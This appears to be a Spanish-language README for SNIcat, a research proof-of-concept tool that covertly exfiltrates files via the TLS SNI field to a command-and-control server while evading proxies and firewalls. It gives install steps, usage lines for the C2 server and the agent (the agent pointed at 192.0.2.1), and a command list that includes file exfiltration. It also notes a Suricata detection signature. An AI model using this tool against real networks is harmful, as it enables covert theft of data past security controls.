
SNIcat es una herramienta de prueba de concepto que realiza exfiltración de datos, utilizando un método de canal encubierto a través de Server Name Indication, una extensión TLS Client Hello. La herramienta consiste en un agente que reside en el host interno comprometido, y un servidor Comando y Control que controla el agente y recopila los datos exfiltrados.
La historia completa detrás de SNIcat se puede encontrar en nuestro artículo de blog
SNIcat ha sido probado en macOS y varias distribuciones de linux. Aunque se puede portar fácilmente, actualmente no hay versión para Windows, ya que esto es solo una herramienta PoC.
El método de exfiltración no funciona con proxies explícitos, debido al uso de HTTP CONNECT, y no TLS Client Hello, al conectarse a través de un proxy explícito.
Es posible que SNIcat no funcione con productos y versiones de software que no hemos probado, pero eso no significa que los productos y/o versiones de software no sean vulnerables.

Descubrimos un nuevo método sigiloso de exfiltración de datos que específicamente evade soluciones de perímetro de seguridad como proxies web, firewalls de próxima generación (NGFW) y soluciones dedicadas para la interceptación e inspección de TLS. Nuestras pruebas validan que esto es un problema generalizado que afecta a diferentes tipos de soluciones de seguridad, así como a soluciones de varios proveedores. Probamos con éxito nuestra técnica contra productos de Cisco, F5 Networks, Palo Alto Networks y Fortinet, y especulamos que muchos otros proveedores también son susceptibles.
Al usar nuestro método de exfiltración SNIcat, descubrimos que podemos evadir una solución de perímetro de seguridad que realiza inspección TLS, incluso cuando el dominio de Comando y Control (C2) que usamos está bloqueado por características comunes de reputación y prevención de amenazas integradas en las propias soluciones de seguridad. En resumen, descubrimos que las soluciones diseñadas para proteger a los usuarios les introdujeron una nueva vulnerabilidad.
También hemos proporcionado una firma de Suricata para detectar esta herramienta específica.
Clona el repositorio:
https://github.com/mnemonic-no/SNIcat.git
Instala las dependencias:
pip3 install -r requirements.txt --user
C2
Obtén un certificado comodín y una clave de una CA de confianza pública. Esto representa el GOOD_CERT y GOOD_CERT_KEY.
Utiliza un certificado autofirmado y una clave (no en ningún almacén de confianza) como BAD_CERT y BAD_CERT_KEY.
(*) USAGE: 'python3 snicat_c2.py <LISTENING_PORT> <GOOD_CERT> <GOOD_CERT_KEY> <BAD_CERT> <BAD_CERT_KEY> log={on|off}'
(*) EXAMPLE: 'python3 snicat_c2_final.py 443 certs/good.pem certs/good.key certs/ssl-cert-snakeoil.pem log=off'
Agente
(*) USAGE: 'python3 snicat_agent.py <C2_SERVER_IP> <C2_SERVER_PORT> log={on|off}'
(*) Example: 'python3 snicat_agent.py 192.0.2.1 443 log=off'
Comandos disponibles de C2
LIST - display all content in current folder
LS - display only files in the currenet folder
SIZE - display size of files in the currenet folder
LD - display every directory in current folder
CB - moves down to root tree folder - similar to 'cd .. '
CD <folder-id> - moves up the specified folder
EX <file-id> - exfiltrate the specified file
ALIVE - check alive/dead agent
EXIT - quit the C2 server